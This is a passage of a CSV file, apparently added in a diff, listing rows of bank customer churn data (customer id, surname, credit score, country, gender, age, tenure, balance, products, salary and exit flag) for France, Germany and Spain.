+2594,15755223,Tseng,692,Germany,Male,53,7,150926.99,2,0,0,119817.19,0 +2595,15787318,Holmwood,537,Germany,Female,47,6,103163.35,1,1,0,16259.64,1 +2596,15737310,Thompson,633,France,Male,29,10,130206.28,1,1,0,184654.87,0 +2597,15763665,Y?,833,France,Female,28,4,136674.51,2,0,0,5278.78,0 +2598,15668818,Chidubem,592,Spain,Female,40,2,200322.45,1,1,1,113244.73,0 +2599,15765812,Trevisani,587,Spain,Male,48,1,0,2,1,1,8908,0 +2600,15704844,Hsiung,550,Spain,Male,62,7,80927.56,1,0,1,64490.67,0 +2601,15744582,Randall,680,France,Female,24,10,0,3,1,0,154971.63,1 +2602,15616700,Leach,622,Spain,Female,41,9,0,2,1,1,155786.39,0 +2603,15683521,Godfrey,594,Germany,Male,28,0,142574.71,2,1,0,129084.82,0 +2604,15583049,Wallace,643,Germany,Female,34,7,160426.07,1,0,1,188533.11,0 +2605,15643752,Wei,540,France,Male,25,5,116160.23,1,1,0,13411.67,0 +2606,15620398,Mitchell,635,Spain,Female,34,5,98683.47,2,1,0,15733.19,0 +2607,15715707,Light,657,France,Male,32,3,118829.03,2,1,1,73127.61,0 +2608,15814209,Capon,814,France,Male,31,1,118870.92,1,1,0,101704.19,0 +2609,15733768,Hou,600,France,Male,32,1,0,1,1,1,101986.16,0 +2610,15755242,Rowe,682,France,Female,46,2,0,1,1,1,114442.66,0 +2611,15729412,Holloway,682,France,Male,38,4,107192.38,1,1,1,15669.17,0 +2612,15746564,O'Sullivan,566,France,Male,42,3,108010.78,1,1,1,157486.1,0 +2613,15588446,Udinesi,550,Spain,Male,34,3,0,2,0,0,131281.28,0 +2614,15665221,Nwebube,630,France,Male,26,7,129837.72,2,0,1,197001.15,0 +2615,15640846,Chibueze,546,Germany,Female,58,3,106458.31,4,1,0,128881.87,1 +2616,15700209,Walker,486,France,Male,63,9,97009.15,1,1,1,85101,0 +2617,15658360,Gregory,762,Spain,Male,35,9,122929.42,2,0,0,149822.04,0 +2618,15602735,Kuo,692,Germany,Male,45,6,152296.83,4,0,1,108040.86,1 +2619,15724834,Wilson,498,France,Female,30,1,0,2,0,0,135795.53,0 +2620,15800062,Lanford,850,Spain,Male,49,8,0,1,0,0,25867.67,1 +2621,15685300,Meng,603,France,Male,35,6,128993.76,2,1,0,130483.56,0 +2622,15760102,Yeh,551,France,Female,36,5,0,1,1,0,183479.12,0 +2623,15787026,Onwuatuegwu,627,Germany,Male,27,0,185267.45,2,1,1,77027.34,0 +2624,15653696,Goliwe,515,France,Female,28,9,0,2,0,0,94141.75,0 +2625,15788946,Anthony,605,Spain,Female,29,3,116805.82,1,0,0,4092.75,0 +2626,15600724,Scott,567,Germany,Male,29,5,129750.68,1,1,0,109257.59,0 +2627,15574324,Genovese,568,Germany,Female,29,2,129177.01,2,0,1,104617.99,0 +2628,15707144,Onyeorulu,571,Germany,Male,25,6,82506.72,2,1,0,167705.07,0 +2629,15775891,Myers,634,Germany,Male,48,2,107247.69,1,1,1,103712.05,1 +2630,15711789,Davey,768,Spain,Female,42,3,0,1,0,0,161242.99,1 +2631,15600879,Parsons,554,Germany,Female,36,3,157780.93,2,1,0,6089.13,0 +2632,15681196,Chikere,629,France,Male,35,1,172170.36,1,1,1,159777.37,0 +2633,15716000,Hs?eh,638,Spain,Male,48,2,0,2,1,1,7919.08,0 +2634,15766776,Sal,576,France,Male,41,1,0,1,1,1,188274.6,0 +2635,15680278,Ts'ai,661,Spain,Female,42,9,75361.44,1,1,0,27608.12,1 +2636,15688637,Witt,592,France,Female,27,4,0,2,1,1,183569.25,0 +2637,15591179,Skelton,702,Spain,Male,30,2,0,2,1,1,145537.32,0 +2638,15677435,Kazantseva,647,France,Female,29,0,98263.46,2,1,0,164717.95,0 +2639,15698619,Bowhay,593,France,Male,43,9,0,2,1,1,76357.43,0 +2640,15581036,Beyer,712,Germany,Female,40,3,109308.79,2,1,0,120158.72,1 +2641,15622117,Fries,625,Spain,Female,31,8,0,2,1,0,151843.54,0 +2642,15599301,Tao,538,Germany,Female,28,6,164365.44,1,0,1,5698.97,0 +2643,15581548,Kaodilinakachukwu,637,Spain,Female,22,5,98800,1,1,0,122865.55,0 +2644,15586870,Ni,632,France,Male,27,4,193125.85,1,1,1,152665.85,0 +2645,15735263,Hsueh,736,France,Male,27,5,51522.75,1,0,1,192131.77,0 +2646,15765322,Connely,755,France,Male,23,5,84284.48,2,1,1,62851.6,0 +2647,15582944,Becker,425,Spain,Female,39,5,0,2,1,0,140941.47,0 +2648,15687162,Clayton,461,France,Male,51,9,119889.84,1,0,0,56767.67,1 +2649,15644962,Connolly,745,France,Male,21,4,137910.45,1,1,1,177235.23,0 +2650,15612615,Graham,616,France,Female,37,6,0,2,1,0,86242.18,0 +2651,15813439,Ch'ien,587,France,Male,33,5,100116.82,1,1,0,34215.58,0 +2652,15604544,Manfrin,850,Germany,Male,40,4,166082.15,2,0,1,44406.17,0 +2653,15761348,Kuo,601,France,Female,38,0,0,2,1,0,165196.65,0 +2654,15785078,Fomin,730,Spain,Male,26,3,0,1,1,0,34542.41,0 +2655,15759874,Chamberlain,532,France,Male,44,3,148595.55,1,1,0,74838.64,1 +2656,15643658,Barber,850,Germany,Male,53,2,94078.97,2,1,0,36980.54,0 +2657,15713267,Zimmer,779,Spain,Female,34,5,0,2,0,1,111676.63,0 +2658,15737782,Brazenor,562,France,Male,29,9,0,1,1,1,25858.68,0 +2659,15815490,Cocci,670,Germany,Male,40,2,164948.98,3,0,0,177028,1 +2660,15679410,Caldwell,729,France,Female,62,4,140549.4,1,1,0,30990.16,1 +2661,15756241,Yirawala,767,France,Female,44,2,152509.25,1,1,1,136915.15,0 +2662,15688409,Donaldson,742,France,Female,28,2,191864.51,1,1,0,108457.99,1 +2663,15742272,Ozerova,669,France,Female,44,8,96418.09,1,0,0,131609.48,1 +2664,15717898,Bruce,542,Spain,Male,32,2,131945.94,1,0,1,159737.56,0 +2665,15769582,Kang,586,France,Male,29,3,0,2,1,1,142238.54,0 +2666,15635660,Rossi,612,Germany,Male,30,9,142910.15,1,1,0,105890.55,1 +2667,15576723,Ts'ai,740,France,Female,37,7,0,2,1,1,194270.91,0 +2668,15591577,Moran,584,France,Male,35,3,146311.58,1,1,1,105443.47,0 +2669,15582325,Jennings,524,France,Male,52,2,87894.26,1,1,0,173899.42,1 +2670,15693947,Tokareva,614,France,Female,19,5,97445.49,2,1,0,122823.34,0 +2671,15760446,Pagnotto,598,France,Female,64,9,0,1,0,1,13181.37,1 +2672,15611105,Castella,799,Spain,Male,35,7,0,2,0,1,140780.8,0 +2673,15630920,Du Cane,724,France,Male,34,2,154485.74,2,0,0,78560.64,0 +2674,15574910,Ferguson,601,France,Male,50,2,115625.07,1,1,0,185855.21,0 +2675,15756472,Odinakachukwu,804,France,Male,25,7,108396.67,1,1,0,128276.95,0 +2676,15682890,Woronoff,745,Germany,Male,38,5,65095.41,2,1,1,140197.42,0 +2677,15641994,Meng,667,Germany,Male,43,1,103018.45,1,1,0,32462.39,1 +2678,15733297,Sinclair,518,France,Female,38,10,84764.79,1,1,1,162253.9,0 +2679,15767793,Hsu,819,France,Female,38,10,0,2,1,0,30498.7,0 +2680,15725698,Panicucci,520,Spain,Female,35,4,115680.81,1,1,1,90280.7,0 +2681,15813532,Burns,625,France,Female,39,5,0,2,1,0,32615.21,0 +2682,15576760,Onodugoadiegbemma,673,Germany,Male,36,5,73088.06,2,0,0,196142.26,0 +2683,15732102,Darling,656,Germany,Female,27,3,150905.03,2,1,0,16998.72,0 +2684,15739046,Maggard,850,Spain,Female,23,9,143054.85,1,0,1,62980.96,0 +2685,15631927,Thomas,574,Spain,Female,28,7,0,2,0,0,185660.3,0 +2686,15672115,Lettiere,679,France,Male,60,6,0,2,1,1,77331.77,0 +2687,15618765,Ponomaryov,530,Germany,Female,42,0,99948.45,1,0,1,97338.62,0 +2688,15679148,Oliver,508,France,Male,44,3,115451.05,2,0,0,67234.33,0 +2689,15728474,Chienezie,558,Germany,Male,32,4,108235.91,1,1,1,143783.28,0 +2690,15636999,Mao,414,France,Male,38,8,0,1,0,1,77661.12,1 +2691,15754261,Ho,648,Spain,Male,42,2,98795.61,2,1,0,89123.99,0 +2692,15629150,Lucchese,721,France,Female,37,1,0,2,1,0,70810.8,0 +2693,15736274,Prokhorova,751,France,Male,31,8,0,2,0,0,17550.49,0 +2694,15627697,Alekseyeva,662,France,Male,34,2,0,2,0,1,21497.27,0 +2695,15721585,Blacklock,628,Germany,Male,29,3,113146.98,2,0,1,124749.08,0 +2696,15639946,Sazonova,597,Germany,Female,39,8,162532.14,3,1,0,36051.46,1 +2697,15792176,Henty,698,Spain,Female,40,0,92053.44,1,1,1,143681.83,0 +2698,15699450,Li,723,France,Male,48,7,0,2,1,1,150694.58,0 +2699,15729954,Azuka,586,France,Female,28,5,0,3,1,0,170487.4,1 +2700,15600103,Alexander,633,Germany,Female,29,8,104944.1,1,1,1,97684.46,0 +2701,15786200,Brock,564,France,Male,31,4,0,2,1,0,53520.03,0 +2702,15797010,Shen,649,France,Female,31,2,0,2,1,0,15200.61,0 +2703,15670172,Padovesi,622,France,Female,30,4,107879.04,1,0,1,196894.62,0 +2704,15627352,Bulgakov,459,Germany,Male,46,7,110356.42,1,1,0,4969.13,1 +2705,15622494,Mazzanti,718,France,Male,27,2,0,2,0,0,26229.24,0 +2706,15585835,Lord,655,Spain,Female,34,4,109783.69,2,1,0,134034.32,0 +2707,15595071,Ramos,696,France,Male,22,9,149777,1,1,1,198032.93,0 +2708,15628203,Pai,637,France,Female,38,3,104339.56,1,0,0,119882.86,0 +2709,15667190,Yuan,630,Spain,Female,21,1,85818.18,1,1,1,133102.3,0 +2710,15780212,Mao,592,France,Male,37,4,212692.97,1,0,0,176395.02,0 +2711,15766869,Uspenskaya,634,Germany,Male,37,1,89696.84,2,1,1,193179.88,0 +2712,15775741,Powell,608,France,Female,28,9,0,2,1,1,125062.02,0 +2713,15628170,Brown,565,Germany,Female,32,9,68067.24,1,1,0,143287.58,0 +2714,15701318,Poole,763,Spain,Male,67,9,148564.66,1,0,1,87236.4,0 +2715,15710928,McChesney,665,France,Female,55,8,136354.16,1,1,1,93769.89,0 +2716,15682547,Lucchese,649,France,Male,38,1,122214,1,0,1,88965.46,0 +2717,15631170,Clements,695,France,Male,45,3,0,2,1,1,30793.61,0 +2718,15648702,Yuriev,775,Germany,Male,70,6,119684.88,2,1,1,74532.02,0 +2719,15783444,Endrizzi,788,France,Female,39,3,135139.33,1,0,1,113086.08,0 +2720,15809178,Pan,569,Germany,Female,42,9,146100.75,1,1,0,32574.01,1 +2721,15806688,Manfrin,726,Spain,Female,56,8,123110.9,3,0,1,130113.78,1 +2722,15576824,Kennedy,564,Germany,Female,44,3,111760.4,3,1,1,104722.47,1 +2723,15675422,Conway,544,France,Female,32,9,110728.39,1,1,1,14559.62,0 +2724,15681550,Lablanc,614,France,Female,41,8,121558.46,1,1,1,598.8,0 +2725,15812628,Dodd,453,Germany,Female,38,8,120623.21,1,1,0,129697.99,0 +2726,15597951,Muir,471,France,Female,58,4,114713.57,1,1,1,36315.03,0 +2727,15807045,Milanesi,829,Germany,Female,37,3,103457.76,1,0,0,1114.12,0 +2728,15581748,Shen,754,Germany,Male,57,2,101134.87,2,1,1,70954.41,0 +2729,15770420,Dillon,749,Germany,Male,46,10,78136.36,2,1,1,73470.98,0 +2730,15608230,Hoelscher,667,France,Male,23,1,0,2,1,0,91573.19,0 +2731,15730339,Bell,670,Spain,Male,30,3,133446.34,1,0,0,3154.95,0 +2732,15712584,Liao,670,France,Female,33,7,0,2,1,1,88187.81,0 +2733,15592816,Udokamma,623,Germany,Female,48,1,108076.33,1,1,0,118855.26,1 +2734,15641480,Sinnett,571,France,Male,32,5,131354.25,1,1,0,125256.53,0 +2735,15708505,Palerma,641,Germany,Female,37,7,62974.64,2,0,1,39016.43,0 +2736,15791131,Chimaijem,551,Germany,Female,30,2,143340.44,1,1,0,145796.49,0 +2737,15618225,Porter,741,Germany,Male,36,8,116993.43,2,1,0,168816.22,0 +2738,15644724,Fan,472,France,Male,31,4,58662.92,2,0,1,73322,0 +2739,15662098,Palmer,650,Spain,Male,41,3,128808.65,3,0,0,113677.53,1 +2740,15723894,Younger,625,France,Male,45,7,137555.44,1,0,0,124607.7,0 +2741,15787699,Burke,650,Germany,Male,34,4,142393.11,1,1,1,11276.48,0 +2742,15687738,Nwagugheuzo,535,France,Female,38,8,0,2,1,0,136620.64,0 +2743,15576126,Young,649,France,Female,41,2,125785.23,1,1,1,70523.92,0 +2744,15658889,Watson,689,France,Male,22,4,136444.25,1,1,0,51980.25,1 +2745,15667046,Tseng,694,Spain,Male,38,7,121527.4,1,1,0,113481.02,0 +2746,15669957,Drake,655,Germany,Male,52,9,144696.75,1,1,1,49025.79,0 +2747,15655794,Hanna,620,France,Male,36,8,0,2,1,1,145937.99,0 +2748,15599829,Padovesi,577,France,Female,35,10,0,2,1,1,25161.61,0 +2749,15753332,Loftus,401,Germany,Male,48,8,128140.17,1,1,0,175753.55,1 +2750,15671124,Buccho,599,France,Male,25,6,120383.41,1,1,1,24903.09,0 +2751,15767474,Lorenzo,481,France,Female,57,9,0,3,1,1,169719.35,1 +2752,15720671,Ibezimako,704,France,Male,42,8,129735.3,2,1,1,179565.57,0 +2753,15626787,Wei,698,Spain,Female,31,8,185078.26,1,0,0,115337.74,1 +2754,15774491,Ross,480,France,Female,28,6,0,2,0,0,48131.92,0 +2755,15579647,Oluchukwu,682,France,Male,42,0,0,1,1,1,160828.98,0 +2756,15625522,Walker,700,Spain,Male,31,7,0,2,0,1,145151.96,0 +2757,15765806,Wu,492,France,Male,29,1,144591.96,1,1,1,196293.76,0 +2758,15566708,Chidalu,444,France,Female,45,4,0,2,1,0,161653.5,1 +2759,15668347,Ingram,624,France,Male,36,6,0,2,0,0,84635.64,0 +2760,15575214,Ch'en,709,France,Male,37,7,0,1,1,0,159486.76,0 +2761,15591123,Iredale,557,Germany,Male,68,2,100194.44,1,1,1,38596.34,0 +2762,15573280,Gallagher,646,Germany,Male,50,6,145295.31,2,1,1,27814.74,0 +2763,15589018,Padilla,719,Germany,Male,28,3,106070.29,2,1,1,183893.31,0 +2764,15654495,Potter,706,Germany,Female,47,6,120621.89,1,1,1,140803.7,0 +2765,15597265,Mao,660,France,Male,38,7,0,2,0,1,146585.53,0 +2766,15733876,Schneider,667,France,Male,36,9,0,2,1,1,40062.29,0 +2767,15677217,Ibragimova,705,France,Male,30,1,0,1,1,1,181300.32,0 +2768,15747265,Huang,598,Germany,Female,27,10,171283.91,1,1,1,84136.12,0 +2769,15713379,Anderson,669,France,Male,26,4,0,2,1,1,197594.34,0 +2770,15730433,Nakayama,580,Germany,Female,38,1,128218.47,1,1,0,125953.83,1 +2771,15693347,Gardener,676,France,Female,32,5,0,2,1,1,75465.41,0 +2772,15715465,Aksenova,714,Germany,Male,28,7,77776.39,1,1,0,177737.07,0 +2773,15680736,Milne,597,Germany,Female,72,6,124978.19,2,1,1,7144.46,0 +2774,15610765,Onwumelu,559,France,Male,29,1,0,2,0,0,155639.76,0 +2775,15650034,Kudryashova,564,France,Female,28,1,0,1,1,1,162428.05,0 +2776,15782468,Hart,850,Spain,Male,51,3,109799.55,2,1,1,12457.76,1 +2777,15685109,Teng,689,France,Male,39,7,0,2,0,0,14917.09,0 +2778,15776233,Kruglova,758,Germany,Female,61,8,125397.21,1,1,0,182184.09,1 +2779,15761141,Palerma,604,Spain,Female,71,10,0,2,1,1,129984.2,0 +2780,15781702,Brookes,733,Germany,Male,38,9,111347.37,2,0,1,194872.97,0 +2781,15790235,Hsing,778,Spain,Male,40,8,104291.41,2,1,1,117507.11,0 +2782,15641416,Shaffer,732,Germany,Female,61,9,94867.18,2,1,1,157527.6,1 +2783,15775234,Laurie,646,France,Male,24,8,0,2,0,0,92612.88,0 +2784,15659475,Chung,597,France,Female,33,6,135703.59,2,0,0,74850.84,0 +2785,15642202,Whitfield,821,Germany,Female,37,5,106453.53,2,0,1,127413,0 +2786,15771417,Thomas,640,France,Male,43,7,132412.38,1,0,0,69584.3,1 +2787,15585100,Rioux,511,Germany,Female,40,9,124401.6,1,1,0,198814.24,1 +2788,15700487,Osonduagwuike,805,France,Male,46,6,118022.06,3,1,0,162643.15,1 +2789,15726589,Matveyev,540,Germany,Male,39,1,82531.11,1,1,0,114092.52,0 +2790,15747503,Hayward,705,Spain,Male,44,0,184552.12,1,1,0,68860.3,1 +2791,15595883,Nkemdirim,540,Germany,Male,39,4,127278.31,1,1,1,16150.34,0 +2792,15663826,Brim,532,Spain,Female,66,3,0,1,1,1,115227.02,0 +2793,15742820,Trevisano,535,France,Female,45,2,0,2,0,1,170621.55,0 +2794,15624793,Soubeiran,627,Germany,Male,23,5,184244.86,1,1,0,103099.22,0 +2795,15597930,Wilson,646,France,Male,52,8,59669.43,1,0,0,172495.81,1 +2796,15665110,Helena,515,France,Female,25,7,79543.59,1,0,1,38772.82,0 +2797,15770719,Duncan,697,France,Female,39,6,151553.19,1,1,1,44946.29,0 +2798,15731327,Hale,652,Germany,Male,27,2,166527.88,2,0,1,146007.7,0 +2799,15576044,Macdonald,579,Germany,Male,28,6,150329.15,1,1,0,145558.42,0 +2800,15775662,McKay,760,France,Male,43,8,121911.59,1,1,0,193312.33,0 +2801,15646817,Chiekwugo,769,France,Male,51,9,156773.78,2,1,0,40257.79,0 +2802,15596060,Skinner,498,Spain,Male,29,8,127864.26,1,1,1,46677.9,0 +2803,15723299,Sorokina,774,France,Male,53,4,113709.28,1,1,1,153887.93,1 +2804,15636982,Weller,705,Germany,Female,43,7,79974.55,1,1,1,103108.33,0 +2805,15751175,Bess,648,France,Female,44,2,0,2,1,1,58652.23,0 +2806,15618936,MacDonald,688,France,Female,51,5,0,1,1,0,91624.11,1 +2807,15787529,Gray,592,Spain,Male,38,0,0,1,1,0,65986.48,1 +2808,15780128,Ogbonnaya,705,France,Male,33,3,144427.96,2,1,0,113845.19,0 +2809,15615991,Udegbulam,654,France,Male,42,7,99263.09,1,1,1,67607.9,0 +2810,15757001,Mai,624,France,Female,32,2,79368.87,2,1,1,145471.94,0 +2811,15595388,Yeh,594,France,Female,30,10,0,2,1,1,124071.71,0 +2812,15699550,Babbage,695,Spain,Female,34,9,0,2,1,1,67502.12,0 +2813,15581620,Franklin,597,France,Male,28,2,0,3,1,1,78707.97,0 +2814,15600934,Randell,758,France,Female,52,7,125095.94,1,1,0,171189.83,1 +2815,15738672,Paterson,737,Germany,Female,40,2,162485.8,2,1,0,149381.32,0 +2816,15721307,Pickering,694,Germany,Male,37,1,95668.82,2,1,0,100335.55,0 +2817,15619280,Uspensky,683,France,Male,25,4,0,2,1,0,152698.24,0 +2818,15768244,Macleod,538,Spain,Female,30,8,0,2,1,1,41192.95,0 +2819,15806837,Nnaife,669,France,Male,37,4,0,1,1,0,132540.33,0 +2820,15643496,Randolph,730,France,Female,34,5,74197.38,2,1,0,96875.52,0 +2821,15813916,Kudryashova,622,France,Female,31,1,89688.94,1,1,1,152305.47,0 +2822,15626385,George,714,Spain,Female,33,10,103121.33,2,1,1,49672.01,0 +2823,15603582,Robertson,569,Spain,Female,34,3,0,1,1,0,133997.53,0 +2824,15764351,Yuryeva,668,Germany,Female,59,5,120170.07,1,0,1,50454.8,0 +2825,15667938,Hurst,628,France,Male,32,9,149136.31,2,1,1,16402.11,0 +2826,15576360,Ch'iu,600,France,Male,40,1,141136.79,1,1,1,67803.83,0 +2827,15628813,King,693,France,Female,43,4,152341.55,1,1,0,9241.78,0 +2828,15584190,Esposito,704,France,Male,36,7,120026.98,2,0,1,100601.73,0 +2829,15716449,Fraser,527,Spain,Male,33,9,132168.28,1,0,0,98734.15,0 +2830,15759913,Trentini,553,Germany,Male,43,6,85200.82,2,1,1,160574.09,0 +2831,15701555,Nicholls,575,Spain,Male,53,1,84903.33,2,0,1,26015.8,0 +2832,15758482,Montalvo,626,France,Female,32,0,0,2,0,0,187172.54,0 +2833,15758171,Tien,582,France,Male,20,4,0,1,1,1,55763.66,0 +2834,15680346,Chuang,683,Spain,Male,40,8,0,1,1,0,75848.22,0 +2835,15649124,Fang,850,France,Male,30,9,121535.18,1,0,0,40313.47,0 +2836,15812917,Kosisochukwu,653,Spain,Male,35,6,116662.96,2,1,1,23864.21,0 +2837,15768455,Young,679,France,Male,60,8,0,2,1,1,51380.9,0 +2838,15703059,Scott,549,Germany,Female,49,6,124829.16,1,0,1,93551.36,0 +2839,15646196,Yeh,850,Spain,Female,36,2,155180.56,2,0,0,169415.54,0 +2840,15585451,Vigano,558,Germany,Female,32,1,108262.87,1,1,1,6935.31,0 +2841,15714057,Windradyne,528,Spain,Male,40,4,0,2,1,0,25399.7,0 +2842,15748473,Curnow,801,France,Male,38,5,0,2,1,0,66256.27,0 +2843,15785782,Ugonna,513,Spain,Male,48,2,0,1,1,1,114709.13,1 +2844,15693233,De Neeve,666,Germany,Male,38,6,99812.88,2,1,1,158357.97,0 +2845,15757521,Ricci,606,France,Male,35,2,132164.26,1,0,1,164815.59,0 +2846,15812513,Nnaife,599,Germany,Male,45,10,103583.05,1,1,0,132127.69,1 +2847,15674950,Ebelechukwu,544,Germany,Male,39,4,142406.43,2,1,0,146637.45,0 +2848,15678572,Keating,529,Spain,Male,38,7,99842.5,2,1,0,90256.06,1 +2849,15713608,Tuan,850,France,Female,41,5,0,2,1,1,34827.43,0 +2850,15579262,Shearston,497,France,Male,41,9,0,1,0,0,22074.48,0 +2851,15610426,Tien,764,France,Female,39,5,81042.42,1,0,1,109805.17,0 +2852,15776454,Hamilton,603,France,Female,48,5,0,1,1,0,100478.6,1 +2853,15771483,Arnold,609,France,Male,40,6,0,2,1,1,97416.34,0 +2854,15648489,Ting,487,France,Male,53,4,199689.49,1,1,1,24207.86,1 +2855,15646609,Chao,748,France,Male,33,1,142645.43,1,0,0,69132.66,0 +2856,15693203,Powell,710,Spain,Female,75,5,0,2,1,1,9376.89,0 +2857,15813067,Williams,432,Germany,Female,45,3,110219.14,1,1,0,43046.7,1 +2858,15769829,Cheng,534,Spain,Male,51,3,0,2,0,1,20856.31,0 +2859,15662434,Zhdanova,607,France,Male,25,3,0,2,0,0,187048.72,0 +2860,15773503,Tsai,551,Spain,Male,32,4,0,2,1,0,53420.53,0 +2861,15705890,Nebechukwu,674,France,Male,45,7,142072.02,1,1,0,37013.29,0 +2862,15711398,Fetherstonhaugh,525,France,Female,25,6,0,2,1,0,89566.64,0 +2863,15752375,Ojiofor,645,Germany,Male,33,8,149564.61,1,0,0,149913.84,0 +2864,15659175,Severson,755,France,Female,43,9,0,2,1,0,18066.69,0 +2865,15597033,Speight,708,Germany,Male,37,8,153366.13,1,1,1,26912.34,0 +2866,15590228,Greenwalt,715,France,Male,21,6,76467.16,1,1,1,173511.72,0 +2867,15631848,Grover,727,France,Female,26,9,121508.28,1,1,1,146785.44,0 +2868,15654211,Milani,559,Spain,Female,27,1,0,1,0,1,1050.33,0 +2869,15707968,Akobundu,545,Spain,Male,36,8,73211.12,2,1,0,89587.34,1 +2870,15594084,Anderson,524,France,Male,22,9,0,2,1,0,74405.34,0 +2871,15651093,Chien,707,France,Female,55,1,0,2,0,1,54409.48,0 +2872,15798824,Kennedy,671,Spain,Male,38,0,92674.94,2,1,0,3647.57,0 +2873,15671591,Castiglione,439,Spain,Male,52,3,96196.24,4,1,0,198874.52,1 +2874,15707189,Marshall,667,Germany,Female,36,1,114391.62,1,1,1,53412.54,0 +2875,15733581,Duncan,831,Germany,Male,32,9,80262.66,1,1,0,194867.78,0 +2876,15641640,Uspenskaya,545,Spain,Female,33,7,173331.52,1,1,0,150452.88,0 +2877,15585284,Thomson,604,Spain,Female,35,7,147285.52,1,1,1,57807.05,0 +2878,15617866,Calabrese,657,Spain,Male,67,5,119785.47,2,1,1,107534.32,0 +2879,15667751,Herrera,487,Spain,Female,36,1,140137.15,1,1,0,194073.33,0 +2880,15669411,Muse,750,Germany,Female,52,6,107467.56,1,1,0,126233.18,1 +2881,15789425,Marsden,694,Germany,Female,37,8,98218.04,2,1,0,182354.46,1 +2882,15570943,Artemyeva,711,Germany,Female,35,2,133607.75,1,1,1,120586.32,0 +2883,15685829,McKay,551,France,Male,37,3,0,2,1,1,50578.4,0 +2884,15721917,Chuang,559,France,Female,38,8,95139.41,1,1,1,86575.46,0 +2885,15776047,Nicholls,620,France,Female,29,3,0,2,0,1,153392.28,0 +2886,15716024,Dennis,660,Spain,Male,42,5,0,2,1,0,115509.59,0 +2887,15675328,Knight,449,France,Female,37,6,0,2,1,0,82176.48,0 +2888,15604314,Webb,703,Germany,Female,26,1,97331.19,1,1,0,63717.49,0 +2889,15658339,Pugliesi,795,Germany,Male,37,2,139265.63,2,1,1,198745.94,0 +2890,15630402,Nebechukwu,594,France,Female,31,9,0,1,0,1,5719.11,0 +2891,15689616,Ward,586,Spain,Male,34,5,168094.01,1,0,0,20058.61,0 +2892,15774224,Nixon,613,Germany,Female,30,5,131563.88,2,1,0,170638.98,0 +2893,15701291,Chidubem,601,France,Male,44,3,0,2,1,0,30607.11,0 +2894,15719606,Rivers,657,France,Male,50,9,0,2,0,0,37171.46,0 +2895,15644119,Sochima,531,France,Male,31,3,0,1,1,1,42589.33,0 +2896,15646859,Heydon,621,Germany,Male,47,7,107363.29,1,1,1,66799.28,0 +2897,15606836,Lombardo,782,France,Female,33,2,94493.03,1,0,1,101866.39,0 +2898,15664150,Holland,528,Germany,Female,29,9,170214.23,2,1,0,49284,0 +2899,15624510,Tien,696,France,Male,52,6,139781.06,1,1,0,27445.4,1 +2900,15810944,Bryant,586,France,Female,35,7,0,2,1,0,70760.69,0 +2901,15668575,Hao,626,Spain,Female,26,8,148610.41,3,0,1,104502.02,1 +2902,15603246,Genovesi,498,France,Male,73,2,170241.7,2,1,1,165407.96,0 +2903,15804002,Kovalev,691,France,Female,33,1,128306.83,1,1,1,113580.79,0 +2904,15728773,Hsieh,568,France,Female,47,7,0,2,1,1,45978.39,0 +2905,15598044,Debellis,715,France,Female,35,3,0,1,1,1,152012.36,0 +2906,15694829,Chibueze,680,Germany,Male,32,7,175454,1,0,1,77349.92,0 +2907,15600575,Padovano,802,Spain,Male,41,6,0,2,1,0,47322.05,0 +2908,15727311,Yen,539,France,Female,22,0,100885.93,2,1,1,38772.65,0 +2909,15570769,Kibble,494,France,Male,69,9,93320.8,1,1,1,24489.44,0 +2910,15606274,Lori,594,Germany,Male,38,6,63176.44,2,1,1,14466.08,0 +2911,15746139,Enemuo,596,France,Male,33,2,139451.67,1,0,0,63142.12,0 +2912,15704987,Lu,649,France,Female,52,8,49113.75,1,1,0,41858.43,0 +2913,15628972,Nebeolisa,699,Germany,Male,32,1,123906.22,3,1,1,127443.82,1 +2914,15697686,Stewart,787,France,Female,40,6,0,2,1,1,84151.98,0 +2915,15733883,Ward,604,France,Male,28,7,0,2,0,0,58595.64,0 +2916,15617482,Milanesi,489,Germany,Female,52,1,131441.51,1,1,0,37240.11,1 +2917,15704583,Chikwado,651,France,Male,56,2,0,1,1,0,114522.68,1 +2918,15621083,Douglas,698,France,Male,57,6,136325.48,2,1,1,72549.27,1 +2919,15649487,Sal,578,Germany,Female,38,4,113150.44,2,1,0,176712.59,1 +2920,15736760,Douglas,538,Spain,Female,42,9,0,1,0,0,152855.96,0 +2921,15714658,Yates,696,France,Female,33,4,0,2,1,1,73371.65,0 +2922,15599081,Watt,507,Germany,Female,46,8,102785.16,1,1,1,70323.68,0 +2923,15705113,P'an,685,Spain,Male,34,6,83264.28,1,0,0,9663.28,0 +2924,15631159,H?,705,Germany,Male,41,4,72252.64,2,1,1,142514.66,0 +2925,15792818,Perry,499,Germany,Female,29,6,148051.52,1,1,0,118623.94,0 +2926,15633531,Lavrov,717,France,Female,76,9,138489.66,1,1,1,68400.14,0 +2927,15744529,Chiekwugo,510,France,Male,63,8,0,2,1,1,115291.86,0 +2928,15669656,Macdonald,632,France,Male,32,6,111589.33,1,1,1,170382.99,0 +2929,15581198,Jenkins,668,Germany,Female,39,0,122104.79,1,1,0,112946.67,1 +2930,15729054,Korovina,744,Germany,Male,32,4,96106.83,1,1,1,79812.77,0 +2931,15573452,Manning,663,Germany,Male,42,7,115930.87,1,1,0,19862.78,0 +2932,15776733,Wilson,638,Germany,Female,37,7,124513.66,2,1,0,158610.89,0 +2933,15724858,Begum,688,France,Female,54,9,0,1,1,0,191212.63,1 +2934,15713144,Ingrassia,588,Spain,Male,46,8,0,1,1,0,61931.21,0 +2935,15690188,Maclean,631,France,Male,33,7,0,1,1,1,58043.02,1 +2936,15689425,Olejuru,687,Spain,Male,35,8,100988.39,2,1,0,22247.27,0 +2937,15671766,Enyinnaya,599,France,Male,44,10,118577.24,1,1,1,31448.52,0 +2938,15782806,Watson,718,Spain,Male,28,6,0,2,1,0,146875.86,0 +2939,15764419,Langdon,730,France,Male,27,5,0,2,1,1,116081.93,0 +2940,15591915,Frolov,533,France,Female,39,2,0,1,0,1,73669.94,1 +2941,15772798,Chikezie,711,Spain,Female,28,5,0,2,1,1,93959.96,0 +2942,15792008,Zetticci,555,Spain,Female,26,9,0,2,0,1,158918.03,0 +2943,15715541,Yang,850,France,Female,42,9,113311.11,1,1,1,198193.75,0 +2944,15639277,Lin,678,France,Female,41,9,0,1,0,0,13160.03,0 +2945,15798850,Goddard,576,France,Male,32,7,0,2,1,0,4660.91,0 +2946,15776348,Rogers,835,Germany,Male,20,4,124365.42,1,0,0,180197.74,1 +2947,15727696,Zubareva,592,France,Male,42,1,147249.29,2,1,1,63023.02,0 +2948,15793813,Onochie,774,France,Male,36,7,103688.19,1,0,1,118971.74,0 